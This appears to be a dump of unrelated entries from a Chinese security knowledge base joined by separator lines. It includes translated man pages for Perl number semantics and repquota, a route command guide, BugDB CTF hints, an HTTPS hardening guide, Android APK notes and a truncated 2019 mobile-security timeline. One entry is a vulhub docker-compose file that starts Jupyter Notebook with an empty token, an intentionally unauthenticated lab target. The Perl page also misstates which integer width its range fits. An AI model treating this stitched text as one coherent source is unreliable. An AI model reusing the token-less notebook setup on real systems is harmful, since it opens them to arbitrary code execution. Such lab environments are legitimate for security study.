.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings. \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote. | will give a
.\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to
.\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
. ds -- \(*W-
. ds PI pi
. if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
. if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch
. ds L" ""
. ds R" ""
. ds C` ""
. ds C' ""
'br\}
.el\{\
. ds -- \|\(em\|
. ds PI \(*p
. ds L" ``
. ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD. Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
. de IX
. tm Index:\\$1\t\\n%\t"\\$2"
..
. nr % 0
. rr F
.\}
.\"
.\" For nroff, turn off justification. Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear. Run. Save yourself. No user-serviceable parts.
. \" fudge factors for nroff and troff
.if n \{\
. ds #H 0
. ds #V .8m
. ds #F .3m
. ds #[ \f1
. ds #] \fP
.\}
.if t \{\
. ds #H ((1u-(\\\\n(.fu%2u))*.13m)
. ds #V .6m
. ds #F 0
. ds #[ \&
. ds #] \&
.\}
. \" simple accents for nroff and troff
.if n \{\
. ds ' \&
. ds ` \&
. ds ^ \&
. ds , \&
. ds ~ ~
. ds /
.\}
.if t \{\
. ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
. ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
. ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
. ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
. ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
. ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
. \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
. \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
. \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
. ds : e
. ds 8 ss
. ds o a
. ds d- d\h'-1'\(ga
. ds D- D\h'-1'\(hy
. ds th \o'bp'
. ds Th \o'LP'
. ds ae ae
. ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "PERLNUMBER 1"
.TH PERLNUMBER 7 "2003-11-25" "perl v5.8.3" "Perl Programmers Reference Guide"
.SH "NAME"
perlnumber \- Perl 中数字的语义以及算术操作
.SH "SYNOPSIS 总览"
.IX Header "SYNOPSIS"
.Vb 7
\& $n = 1234; # 十进制数
\& $n = 0b1110011; # 二进制数
\& $n = 01234; # 八进制数
\& $n = 0x1234; # 十六进制数
\& $n = 12.34e-56; # 指数形式
\& $n = "-12.34e56"; # 用字符串描述的数
\& $n = "1234"; # 用字符串描述的数
.Ve
.SH "DESCRIPTION 描述"
.IX Header "DESCRIPTION"
这篇文章描述了Perl内部是怎样处理数的数值的。
.PP
在这里不会提到Perl的运算符重载机制,运算符重载允许用户自定义对数的操作,例如对任意大的整型数或者任意精度的浮点数进行的操作,或者一些其它的算术类型如求模操作和p\-adic操作等等。要想知道运算符重载的细节,请看重载。
.SH "Storing numbers 数值存储"
.IX Header "Storing numbers"
Per在内部能用三种方法表示数值:用“Native整型”,“Native浮点型”或是用十进制形式的字符串。其中十进制字符串可以带一个指数描述的部分,就像\f(CW"12.34e\-56"\fR。在这里术语\&\fINative\fR的含义是用于编译 perl 的 C 编译器所支持的类型。
.PP
在我们谈及整型时,\*(L"native\*(R"这个术语所包含的含义比我们谈论浮点数时要少一些。对\*(L"native\*(R"整型来说,这个术语所的含义仅仅是指整型数的可以有最大值和最小值会是2的某次方,而对\*(L"native\*(R"浮点数来说,有一条基本的限制就是它只能表示那些能用有限几位二进制小数所表示的实数。举例来说,0.9就不是\*(L"native\*(R"浮点数,因为0.9用二进制小数表示是有无穷多位的:
.PP
.Vb 1
\& 二进制0.1110011001100...
.Ve
.PP
序列 \f(CW1100\fR 将无休止的循环下去。除了这条限制以外,二进制浮点数在用指数型式表达时也存有限制。在特定的硬件条件下,浮点型的数可以存储最多53位二进制数再加上范围从\-1024到1024的指数值(译者:-1024到1024用11位二进制数,加上53等于64,就是说这里用用64位存一个浮点数)转换成十进制也就是说差不多能用16位有效数字和从\-304到304的指数值和起来表示一个浮点数。这种表示方法的一种结果就是我们不可能在不损失精度的情况下用浮点型存储像12345678901234567这样的数。
.PP
类似的,十进制字符串也只能表示有限位数的十进制数.光就字符串来言,它可以是任意长度的,没有什么关于指数或有效数字位数上的限制.(但是请意识到我们正在讨论的存放数值的那些规则.事实是你能用字符串存放很大的数值并不代表相应的数值操作能够把字符串中的所有的数位都用上.欲知详情,请看\*(L"数值运算符和数值转换\*(R"
.PP
事实上“Native整型数”存储的数值可以是带符号的,或者是不带符号的。所以很典型的,Perl中“Native整型数”可以表示的整数的范围是\-2**31..2**32\-1,这个范围对64位的整数来说是比较合适的。但这并不意味着Perl只能处理这个范围内的整数:浮点类型可以存下更大的整数。
.PP
总而言之,Perl中的数是有限位数的十进制数或者说是足够短的二进制数。
.SH "Numeric operators and numeric conversions 数值运算符和数值转换"
.IX Header "Numeric operators and numeric conversions"
就像前面说的那样,Perl可以用三种格式中的任意一种存放一个数,但是大多数运算符只能理解这三种格式中的一种。当一个数值作为参数传给一个运算符时,它将会被转换成运算符可以理解的那种格式。
.PP
可能出现的转换有下面六种:
.PP
.Vb 6
\& native 整型 --> native 浮点型 (*)
\& native 整型 --> 十进制形式的字符串
\& native 浮点型 --> native 整型 (*)
\& native 浮点型 --> decimal string (*)
\& 十进制的字符串 --> native 整型
\& 十进制的字符串 --> native 浮点型 (*)
.Ve
.PP
这些转换按照下列的规则进行:
.IP "\(bu" 4
如果原来的数可以用要转换成的格式表述,则其值继续使用,不会改变。
.IP "\(bu" 4
如果原来的数超出了要转换成的格式所能表述的极限,则最接近极限的那个值会被用来做最后的值。(这会有信息上的损失)
.IP "\(bu" 4
如果原来的数在要转换成的格式所能表述的两个相邻的数之间,则这两个数中的一个会被用来做最后的值。(这会有信息上的损失)
.IP "\(bu" 4
在 \f(CW\*(C`native 浮点型 \-\-> native 整型\*(C'\fR 的转换中,结果的值小于等于原来的值。(因为是直接截取小数位取整的)(\fI\*(L"Rounding to zero\*(R".\fR)
.IP "\(bu" 4
如果 \f(CW\*(C`十进制的字符串 \-\-> native 整型\*(C'\fR 的转换不能在不损失信息的情况下完成,结果将会和下列的转换序列的结果一致:\f(CW\*(C`十进制的字符串 \-\-> native_浮点型 \-\-> native_整型\*(C'\fR. 特别要指出的是,尽管像 \&\f(CW"0.99999999999999999999"\fR 这样的数可能会取整成1,取整一般是倾向于0的。
.PP
\&\fB\s-1限制\s0\fR: 上面标有 \f(CW\*(C`(*)\*(C'\fR 的转换包含有C编译器的动作步骤。在特殊情况下,C编译器的一些特性或者Bugs可能会导致上述一些规则的不成立。
.SH "Flavors of Perl numeric operations 数值操作的特色"
.IX Header "Flavors of Perl numeric operations"
Perl 中带有数值参数的操作将按照四种方法处理参数:它们可能会将参数强制转换为整型,浮点型或是字符串型中的一种,或者按照操作数的格式来处理参数。在把一个数的类型强制转换成另一种特定的类型的过程中,原来存储的值不会改变。
.PP
所有需要整型数作参数的运算符会对参数进行取模的操作。比如说用32位存放整型数时会把数对2的32次方取模 (\f(CW\*(C`mod 2**32\*(C'\fR),所以 \f(CW\*(C`sprintf "%u", \-1\*(C'\fR 的结果和 \&\f(CW\*(C`sprintf "%u", ~0\*(C'\fR 的结果是一样的。
.IP "Arithmetic operators 算术运算符" 4
.IX Item "Arithmetic operators"
二进制运算符 \f(CW\*(C`+\*(C'\fR \f(CW\*(C`\-\*(C'\fR \f(CW\*(C`*\*(C'\fR \f(CW\*(C`/\*(C'\fR \f(CW\*(C`%\*(C'\fR \f(CW\*(C`==\*(C'\fR \f(CW\*(C`!=\*(C'\fR \f(CW\*(C`>\*(C'\fR \f(CW\*(C`<\*(C'\fR
\&\f(CW\*(C`>=\*(C'\fR \f(CW\*(C`<=\*(C'\fR 以及一元运算符 \f(CW\*(C`\-\*(C'\fR \f(CW\*(C`abs\*(C'\fR and \f(CW\*(C`\-\-\*(C'\fR
总试图将参数转换为整形。如果转换都可以无损精度地进行,并且运算也无损于精度,那么返回整数的结果。否则,参数被转换为浮点数,返回浮点数结果。转换的缓冲过程保证了整数转换不会将浮点数的零头丢掉
.IP "++" 4
\&\f(CW\*(C`++\*(C'\fR 的行为与其他操作符类似,但是如果操作数是满足 \f(CW\*(C`/^[a\-zA\-Z]*[0\-9]*\ez/\*(C'\fR 格式的字符串,将进行 perlop 中描述的字符串递增运算。
.ie n .IP "定义了 ""use integer"" 时的算术运算" 4
.el .IP "定义了 \f(CWuse integer\fR 时的算术运算" 4
.IX Item "Arithmetic operators during use integer"
在 \f(CW\*(C`use integer;\*(C'\fR 的作用范围内,几乎上面列出的所有操作符都将它们的操作数转换为整数,返回整数的结果,例外情况是 \f(CW\*(C`abs\*(C'\fR, \f(CW\*(C`++\*(C'\fR 和 \f(CW\*(C`\-\-\*(C'\fR,在这种情况下不改变行为。
.IP "Other mathematical operators 其他数学操作符" 4
.IX Item "Other mathematical operators"
类似 \f(CW\*(C`**\*(C'\fR, \f(CW\*(C`sin\*(C'\fR 和 \f(CW\*(C`exp\*(C'\fR 的操作符强制参数为浮点格式。
.IP "Bitwise operators 位操作符" 4
.IX Item "Bitwise operators"
如果不是字符串,操作数被强制转换为整型
.ie n .IP "定义了 ""use integer"" 时的位运算" 4
.el .IP "定义了 \f(CWuse integer\fR 时的位运算" 4
.IX Item "Bitwise operators during use integer"
强制参数为整型。并且,移位操作在内部使用有符号整型而不是默认的无符号数
.IP "需要整型操作数的操作符" 4
.IX Item "Operators which expect an integer"
强制操作数转换为整型。例如,在函数 \f(CW\*(C`sysread\*(C'\fR 的第三和第四个参数中,这样做是合适的。
.IP "需要字符串的操作符" 4
.IX Item "Operators which expect a string"
强制操作数为字符串格式。例如,在 \f(CW\*(C`printf "%s", $value\*(C'\fR 中,这样做是合适的。
.PP
尽管强制转换参数为特定格式不会改变已存储的数字,Perl 会记录转换的结果。特别的,尽管第一次转换会耗费一定时间,重复进行的操作不会需要重新转换。
.SH "AUTHOR 作者"
.IX Header "AUTHOR"
Ilya Zakharevich \f(CW\*(C`ilya@math.ohio\-state.edu\*(C'\fR
.PP
由 Gurusamy Sarathy <gsar@ActiveState.com> 编辑
.PP
由 Nicholas Clark <nick@ccl4.org> 更新为 5.8.0 版
.SH "SEE ALSO 参见"
.IX Header "SEE ALSO"
overload, perlop
|
sec-knowleage
|
.TH REPQUOTA 8 "1999年8月20日星期五"
.UC 4
.SH NAME(名称)
repquota \- 文件系统配额的汇总
.SH SYNOPSIS(总览)
.B repquota
[
.B \-vugs
]
.IR filesystem .\|.\|.
.LP
.B repquota
[
.B \-avugs
]
.SH DESCRIPTION(描述)
.IX "repquota command" "" "\fLrepquota\fP \(em summarize quotas"
.IX "user quotas" "repquota command" "" "\fLrepquota\fP \(em summarize quotas"
.IX "disk quotas" "repquota command" "" "\fLrepquota\fP \(em summarize quotas"
.IX "quotas" "repquota command" "" "\fLrepquota\fP \(em summarize quotas"
.IX "file system" "repquota command" "" "\fLrepquota\fP \(em summarize quotas"
.IX "summarize file system quotas repquota" "" "summarize file system quotas \(em \fLrepquota\fP"
.IX "report file system quotas repquota" "" "report file system quotas \(em \fLrepquota\fP"
.IX display "file system quotas \(em \fLrepquota\fP"
.LP
.B repquota
显示与配额文件相关的信息以及对于指定文件系统的磁盘使用情况和配额的汇总.
对于每个用户,显示当前的文件数和空间大小(以千字节计),还有由
.BR setquota (8)
或
.BR edquota (8)
创建的任何配额.
.SH OPTIONS(选项)
.TP
.B \-a
包含对所有已挂载的文件系统的统计.
.TP
.B \-v
对所有文件系统报告配额情况,即使该文件系统根本就没使用.
.TP
.B \-g
报告组的配额.
.TP
.B \-u
报告用户的配额.这是默认的选项.
.TP
.B \-s
包含完全的统计信息.
.LP
只有超级用户可以浏览不属于他们的配额.
.SH FILES(相关文件)
.PD 0
.TP 20
.B aquota.user
位于文件系统root下的用户配额文件.
.TP
.B aquota.group
位于文件系统root下的组配额文件.
.TP
.B /etc/mtab
已挂载的文件系统表
.PD
.SH SEE ALSO(另见)
.BR quota (1),
.BR quotactl (2),
.BR fstab (5),
.BR setquota (8),
.BR edquota (8),
.BR quotacheck (8),
.BR quotaon (8)
.SH AUTHOR(作者)
Jan Kara \<jack@atrey.karlin.mff.cuni.cz\>
.br
用户界面取自老的应用文档,它的作者是:
.br
Marco van Wieringen \<mvw@planets.elm.net\>\
.SH "[中文版维护人]"
.B riser <boomer@ccidnet.com>
.SH "[中文版最新更新]"
2001/7/19
.SH "[中国 Linux 论坛 man 手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
route
===
显示并设置Linux中静态路由表
## 补充说明
**route命令** 用来显示并设置Linux内核中的网络路由表,route命令设置的路由主要是静态路由。要实现两个不同的子网之间的通信,需要一台连接两个网络的路由器,或者同时位于两个网络的网关来实现。
在Linux系统中设置路由通常是为了解决以下问题:该Linux系统在一个局域网中,局域网中有一个网关,能够让机器访问Internet,那么就需要将这台机器的ip地址设置为Linux机器的默认路由。要注意的是,直接在命令行下执行route命令来添加路由,不会永久保存,当网卡重启或者机器重启之后,该路由就失效了;可以在`/etc/rc.local`中添加route命令来保证该路由设置永久有效。
### 语法
```shell
route(选项)(参数)
```
### 选项
```shell
-A:设置地址类型;
-C:打印将Linux核心的路由缓存;
-v:详细信息模式;
-n:不执行DNS反向查找,直接显示数字形式的IP地址;
-e:netstat格式显示路由表;
-net:到一个网络的路由表;
-host:到一个主机的路由表。
```
### 参数
```shell
add:增加指定的路由记录;
del:删除指定的路由记录;
target:目的网络或目的主机;
gw:设置默认网关;
mss:设置TCP的最大区块长度(MSS),单位MB;
window:指定通过路由表的TCP连接的TCP窗口大小;
dev:路由记录所表示的网络接口。
```
### 实例
**显示当前路由:**
```shell
[root@localhost ~]# route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
112.124.12.0 * 255.255.252.0 U 0 0 0 eth1
10.160.0.0 * 255.255.240.0 U 0 0 0 eth0
192.168.0.0 10.160.15.247 255.255.0.0 UG 0 0 0 eth0
172.16.0.0 10.160.15.247 255.240.0.0 UG 0 0 0 eth0
10.0.0.0 10.160.15.247 255.0.0.0 UG 0 0 0 eth0
default 112.124.15.247 0.0.0.0 UG 0 0 0 eth1
[root@localhost ~]# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
112.124.12.0 0.0.0.0 255.255.252.0 U 0 0 0 eth1
10.160.0.0 0.0.0.0 255.255.240.0 U 0 0 0 eth0
192.168.0.0 10.160.15.247 255.255.0.0 UG 0 0 0 eth0
172.16.0.0 10.160.15.247 255.240.0.0 UG 0 0 0 eth0
10.0.0.0 10.160.15.247 255.0.0.0 UG 0 0 0 eth0
0.0.0.0 112.124.15.247 0.0.0.0 UG 0 0 0 eth1
```
其中Flags为路由标志,标记当前网络节点的状态,Flags标志说明:
* U Up表示此路由当前为启动状态。
* H Host,表示此网关为一主机。
* G Gateway,表示此网关为一路由器。
* R Reinstate Route,使用动态路由重新初始化的路由。
* D Dynamically,此路由是动态性地写入。
* M Modified,此路由是由路由守护程序或导向器动态修改。
* ! 表示此路由当前为关闭状态。
**添加网关/设置网关:**
```shell
route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0 #增加一条到达224.0.0.0的路由。
```
**屏蔽一条路由:**
```shell
route add -net 224.0.0.0 netmask 240.0.0.0 reject #增加一条屏蔽的路由,目的地址为224.x.x.x将被拒绝。
```
**删除路由记录:**
```shell
route del -net 224.0.0.0 netmask 240.0.0.0
route del -net 224.0.0.0 netmask 240.0.0.0 reject
```
**删除和添加设置默认网关:**
```shell
route del default gw 192.168.120.240
route add default gw 192.168.120.240
```
|
sec-knowleage
|
# BugDB v3
## [Flag0](./flag0) -- Found
- What new functionality was added?
- Filenames are always interesting
- How do you access attachments? Hint: not via GraphQL
|
sec-knowleage
|
version: '2'
services:
web:
image: vulhub/jupyter-notebook:5.2.2
command: start-notebook.sh --NotebookApp.token=''
ports:
- "8888:8888"
|
sec-knowleage
|
# Securely transporting stuff: HTTPS explained
## The problem
HTTP is the protocol that the browsers use to communicate with the server. The problem with HTTP without any S is that it sends and receives data in plain text.
#### Well, who can see my data in plain text?
Well, anyone in your local network, your co-workers for example or people sitting around you in your favourite cafe.
#### How will they do it?
Since the data is in plain text, they can just tell the [switch](https://en.wikipedia.org/wiki/Network_switch) to deliver packets to their machine instead of yours by [ARP poisioning](https://en.wikipedia.org/wiki/ARP_spoofing) the ARP table maintained by the `switch` :

Also, the owner of the cafe or your boss in your office can see your data by programming the hub/switch easily since they own and have physical access to it or [wire tapping](https://en.wikipedia.org/wiki/Fiber_tapping) the wire itself coming in to the cafe.
**Bad HTTP!**
## Enters HTTPS

The 'S' in HTTPS stands for Secure i.e. if you are visiting any website on the internet that has the protocol `https` in the URI, then it is most likely secure. No one in the `middle` can sniff your traffic.
### How does it work?
HTTPS encrypts all the data that gets transferred between the browser and the server. The server and the browser uses a symmetric key known to both of them to encrypt the data. The process by which they arrive at the common key is called [TLS handshake](https://en.wikipedia.org/wiki/Transport_Layer_Security#TLS_handshake). In simple terms, the server sends its `public key` along with `domain name` embedded in a `certificate` to the browser, the browser sends back a `pre-master secret key` encyrpted using the server's public key. The server decrypts the encrypted message using its private key to obtain the pre-master secret key. Both the browser and the server now converts the pre-master key into the `master secret key` which is eventually used for encryption of all the future communications between server and the browser.

There is still one problem with the above process, that is, any [man in the middle](https://en.wikipedia.org/wiki/Man-in-the-middle_attack) can also generate a certificate and pretend to be the origin server and send malicious content to the browser.
To solve that problem browser like Chrome, Firefox, Safari etc. come embedded with information to find out which certificates are genuine. Browsers look for signature in the certificate, the signature on the certificate needs to be from one of the trusted [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority). In simple terms, certificate authorities are certain well-known organisations which everyone knows to be trust worthy (it all boils down to trust). If there is no such signature in the certificate then the browser will display a warning to the user that this connection is not really HTTPS. The server on the other hand need to get the signed certificate from one of the certificate authority by physically verifying their identity(by sending docs etc.).
So, `https` servers two main purpose
* It tells you that the website domain shown in the browser is the one you are actually talking to.
* It encrypts all the communication between the domain in the browser and the browser itself.
### How to get HTTPS for my website?
#### There are two ways to get HTTPS to your website
1. Paid
* You need to buy a SSL certificate from some CAs
* Then you need to generate a certificate signing request from your server
* Then they ask you to verify that you really own the domain.
* Then they let you download the signed certificate which you can use in your server's configuration.
2. Free:
* Use [LetsEncrypt](https://letsencrypt.org/). Letsencrypt is free because the whole process is totally automated hence getting rid of the manual cost of configuration, creation, validation, expiration etc.
* To setup, follow the steps mentioned here depending on your server: [Setup steps](https://certbot.eff.org/#ubuntuxenial-nginx)
#### Best practices for https configuration, examples are for [nginx](https://www.nginx.com/) but settings for apache and others are available too ([ssl config generator](https://mozilla.github.io/server-side-tls/ssl-config-generator/))
- [ ] regularly update/patch [openssl](https://www.openssl.org/source/) to the latest version available because that will protect you from bugs like [heartbleed](https://en.wikipedia.org/wiki/Heartbleed) and [many more](https://www.openssl.org/news/secadv/20160503.txt).
- [ ] add this flag in nginx server conf for server-side protection from [BEAST attacks](https://en.wikipedia.org/wiki/Transport_Layer_Security#BEAST_attack)
```
ssl_prefer_server_ciphers on;`
ssl_ciphers "ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!MD5:!PSK:!RC4"; #Disables all weak ciphers
```
- [ ] Older versions of ssl protocols have been found to have multiple severe vulnerabilities (ex: [POODLE attack](https://en.wikipedia.org/wiki/POODLE), [DROWN attack](https://en.wikipedia.org/wiki/DROWN_attack)), so support only TLSv1.1 and TLSv1.2. Do not support sslv2 and sslv3. Do [check the adoption](https://en.wikipedia.org/wiki/Transport_Layer_Security#Web_browsers) to know the trade off of restricting to these versions of TLS.
```
ssl_protocols TLSv1.1 TLSv1.2;
```
- [ ] Default Diffie-Hellman parameter used by nginx is only 1024 bits which is considered not so secure. Also, it is same for all nginx users who use the default config. It is estimated that an academic team can break 768-bit primes and that a nation-state could break a 1024-bit prime. By breaking one 1024-bit prime, one could eavesdrop on 18 percent of the top one million HTTPS domains, so do not use the default DH parameter, locally generate the parameter for more security, also use higher number of bits.
```shell
$ cd /etc/ssl/certs
$ openssl dhparam -out dhparam.pem 4096
```
```
ssl_dhparam /etc/nginx/ssl/dhparam.pem;
```
- [ ] config to enable HSTS(HTTP Strict Transport Security) to avoid [ssl stripping](https://en.wikipedia.org/wiki/SSL_stripping#SSL_stripping). This should not be a problem if ALL, yes, if ALL traffic is redirected to https
```
add_header Strict-Transport-Security "max-age=31536000; includeSubdomains;";
```
## Certificate Pinning for apps (and website)
#### What's this now?
In general any user who has an access to the app can see all the API calls even if it HTTPS. To do that he creates a certificate authority and tells the device (Android / iOS) to trust it. Now when you connect to the server it sits in between the server and the app and replaces your server's certificate with the one generated `on the fly` with its certificate (having own public/private `key` pair) signed by his own certificate authority and now he can sit in the middle and act as server for the mobile client and act as client for the server. Sneaky.
#### Wait! Isn't HTTPS supposed to prevent that?
Yes, but HTTPS can only help you when the trusted certificate authorities are actually trust worthy. In this case, the user forced the device to trust his own created certificate authority!
#### So, how do I prevent that?
Certificate pinning - Basically, in your app bundle, hard code the server certificate and before doing any API call check whether the server is really using that same hardcoded certificate or someone tried to sneak in his own certificate.
#### Caution
* In case the certificate changes on the server side you will have to force the users to update the app else the app will stop working.
* If you mess up the certificate pinning, you will have to ask users to update the app else the app will stop working.
#### A better way!
Certificate pinning is a good way to prevent this but there is one better way to ensure no one can snoop in - use `public key pinning`. Generally sites like Google rotates its certificate so you will have to force users to update your app. Instead what you should pin in your app is the `public key` which remains static even when Google rotates its certificate hence not needing any app update. This is called `Public key Pinning`.
* Android and iOS sample code examples:
```
https://www.paypal-engineering.com/2015/10/14/key-pinning-in-mobile-applications/
```
## Precautions for general public
* When you visit a website in your browser, make sure it displays the padlock like this  (will be gray in safari)
* If you are using an untrusted or public internet(wifi/wired) and you see striked out padlock and a warning page, then do not proceed, someone might be snooping on your traffic.
* iOS and Android apps have no way to tell if they are encrypting the traffic. Bad luck.
* Do not hand over your unloked mobile phones to any untrusted person. He/she might install certain untrusted `CAs` (certificate authorities) and can see all your traffic.
* If you use a mobile phone or laptop provided by the company then they might have installed certain `CAs` (certificates authorities) to be trusted by the device and can easily snoop on all your browsing. You should check if any `CA` is installed in your phone. Steps to check: In iOS, go to `Settings` -> `General` -> `Profiles`. If there is anything installed there then someone might be sniffing your traffic. In Android, go to `Settings`, under "Personal," tap `Security`, under "Credential storage," tap `Trusted credentials`. Check the certificates installed by user and system.
## Future of HTTPS
Web was built on HTTP protocol which lacks the security bit. Slowly people started to feel the need to have the channel secured, so that led to the birth of HTTPS. Still as of today majority of the websites are HTTP since thats the `default protocol`. If one needs to get HTTPS they use one of the methods mentioned in the section above "how to get https for my website".
It would be awesome if all the websites use `https` instead of `http`. Also, all the browsers should force https, meaning they should fail the request if it is not `https`. Currently this is implemented using `HSTS` preload list but that is optional for websites to opt in but it would be nice if all the websites were forced to be https. This would improve the security of end users. There are lot of people promoting the move to https everywhere.
But there is a problem with upgrading to https, that is, if some website was previously linked as http and now only works with https then that `http link` will break (as the links to this site would not get updated by the linker website). There are plugins to use [HTTPS everywhere](https://www.eff.org/Https-everywhere) which forces all the communication to be on `https://` if possible. But a better [proposal](https://www.w3.org/DesignIssues/Security-NotTheS.html) is to do HTTPS everywhere in the sense of the protocol but not the URI prefix - in that we do not need two different prefixes `http` and `https`, just make http use TLS fundamentally.
|
sec-knowleage
|
### Android 开发基础知识
依次阅读以下书籍,由浅入深地了解 Android 基本开发知识
- 第一行代码,阅读完前七章即可
- JNI/NDK 开发,目前尚未找到一本相关合适的指南。
- Android 编程权威指南(可选)
- Android 高级进阶(可选)
在学习的过程中,个人觉得需要着重了解 Android 开发中如下知识
- Android 系统架构
- 基本源文件架构
- 基本开发方式与代码编写惯例,了解常见代码的意思。
- 了解 xml 等一些配置资源的文件格式。
**一定要搭好基本的 Android 开发环境!!!!!**
- java
- ddms
- ndk
- sdk,多安装几个版本的 sdk,5.0-8.0
### Android 开发Apk 打包流程
当编写完 App 相关的代码后,我们的最后一步就是将 App 中所有使用到的资源文件进行打包,打包流程如下图(<u>http://androidsrc.net/android-app-build-overview/</u>)
具体的操作如下
1. 使用 aapt( The Android Asset Packing Tool ) 对资源文件进行打包,生成 R.java 文件。
2. 如果项目中使用到了 AIDL(Android Interface Definition Language)提供的服务,则需要使用 AIDL 工具解析 AIDL 接口文件生成相应的 Java 代码。
3. 使用 javac 将 R.java 和 AIDL 文件编译为 .class 文件。
4. 使用 dx 工具将 class 和第三方的 library 转换为 dex 文件。
5. 利用 apkbuilder 将第一步编译后的资源、第四步生成的 .dex 文件,以及一些其它资源打包到 APK 文件中。
6. 这一部主要是对 APK 进行签名。可以分为两种情况,如果我们是要发布 App,那就采用 RealeaseKeystore 签名;反之,我们如果只是想要对 App 进行调试,那就使用 debug.keystore 签名。
7. 在发布正式版之前,我们需要将 APK 包中资源文件距离文件的起始偏移修改为 4 字节的整数倍数,这样,在之后运行 App 的时候,速度会比较快。
### Android 开发Apk 文件结构
APK 文件也是一种 ZIP 文件。因此,我们可以使用解压 zip 的工具来对其进行解压。一个典型的 APK 文件的结构如下图所示。
- AndroidManifest.xml
- 该文件主要用于声明应用程序的名称,组件,权限等基本信息。
- class.dex
- 该文件是 dalvik 虚拟机对应的可执行文件,包含应用程序的可执行代码。
- resource.arsc
- 该文件主要是应用程序编译后的二进制资源以及资源位置与资源 id 之间的映射关系,如字符串。
- assets
- 该文件夹一般用于包含应用程序的原始资源文件,例如字体和音乐文件。程序在运行的时候,可以通过API 获取这些信息。
- lib/
- lib目录下主要用于存储通过 JNI(Java Native Interface)机制使用的本地库文件,并且会按照其支持的架构,分别创建对应的子目录。
- res/
- 该目录主要包含了 Android 应用引用的资源,并且会按照资源类型进行存储,如图片,动画,菜单等。主要还有一个 value 文件夹,包含了各类属性资源
- colors.xml-->颜色资源
- dimens.xml--->尺寸资源
- strings--->字符串资源
- styles.xml-->样式资源
- META-INF/
- 类似于 JAR 文件,APK 文件中也包含了 META-INF 目录,用于存放代码签名等文件,以便于用来确保 APK 文件不会被人随意修改。
|
sec-knowleage
|
#2019移动安全事记
时间线
- 0x00
- 1.2 [What?研究者竟然可以利用智能灯泡渗透和传输敏感数据](https://www.freebuf.com/articles/wireless/191927.html)
- 1.2 [2018年全球十大APT攻击事件盘点](https://www.anquanke.com/post/id/169007)
- 1.3 [腾讯安全2018年高级持续性威胁(APT)研究报告](https://www.freebuf.com/articles/network/193420.html)
- 1.3 [伪装成“发票到期”电子邮件,传播Neutrino僵尸网络](https://www.freebuf.com/articles/terminal/192981.html)
